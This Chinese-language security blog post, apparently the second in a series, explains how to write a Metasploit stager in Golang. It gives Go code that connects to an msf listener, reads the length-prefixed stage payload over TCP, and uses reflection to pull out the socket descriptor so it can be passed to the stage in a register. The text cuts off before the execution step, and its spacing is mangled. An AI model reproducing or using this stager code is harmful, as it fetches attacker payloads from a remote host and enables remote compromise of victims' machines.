声明
由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,雷神众测以及文章作者不为此承担任何责任。雷神众测拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经雷神众测允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。
No.1
前言
上一篇文章msfstagers开发不完全指北(一)中我们谈到如何采用c进行msf的stagers开发,这篇文章我们探讨一下如何使用Golang实现同样的功能
No.2
思路梳理
在Golang中一点比较重要的是,我们如何能够获取到socket的文件描述符,除此之外,我们还是同样的步骤
1.向msf监听地址发起tcp请求
2.获取stages
3.将socketfd放入寄存器edi
4.从起始地址开始执行stages
No.3
编译环境
OS:Windows10
Golang:goversiongo1.14.1windows/amd64
No.4
获取stages
socket,err:=net.Dial("tcp","...:")iferr!=nil{
returnerr}
//readpayloadsize
varpayloadSizeRaw=make([]byte,4)numOfBytes,err:=socket.Read(payloadSizeRaw)iferr!=nil{returnerr}
ifnumOfBytes!=4{
returnerrors.New("Numberofsizebyteswasnot4!")}payloadSize:=int(binary.LittleEndian.Uint32(payloadSizeRaw))
//readpayloadvarpayload=make([]byte,payloadSize)
//numOfBytes,err=socket.Read(payload)numOfBytes,err=io.ReadFull(socket,payload)iferr!=nil{returnerr}
ifnumOfBytes!=payloadSize{
returnerrors.New("Numberofpayloadbytesdoesnotmatchpayloadsize!"
)}
这里有几点我们需要注意的地方,第一是读取stages长度是需要使用binary库把它转化为int32,你可以理解为python中的struct库,第二个是我们惯用的从socket连接读取数据使用的是Read,但是并不能读全,和网络有关系,需要使用ReadFull或者ReadAtLeast进行读取。读取到stages后,我们可以进行下一步操作了。
No.5
socketfd放入edi
conn:=socket.(*net.TCPConn)fd:=reflect.ValueOf(*conn).FieldByName("fd")handle:=reflect.Indirect(fd).FieldByName("pfd").FieldByName("Sysfd")socketFd:=*(*uint32)(unsafe.Pointer(handle.UnsafeAddr()))buff:=make([]byte,4)binary.LittleEndian.PutUint32(buff,socketFd)
returnbuff
这部分代码就是我上面所说的难点了,首先socket,err:=net.Dial("tcp","...:")返回的是一个接口typeConninterface,我们需要找到他的真实类型,继续往里面跟我们会发现他的真实类型是*net.TCPConn,为什么要做这一步?
我们先看看这个结构体
我们其实需要的是里面的文件描述符,我们再往里跟一下
//Networkfiledescriptor.
typenetFDstruct{pfdpoll.FD
//immutableuntilClosefamilyintsotypeintisConnectedbool//handshake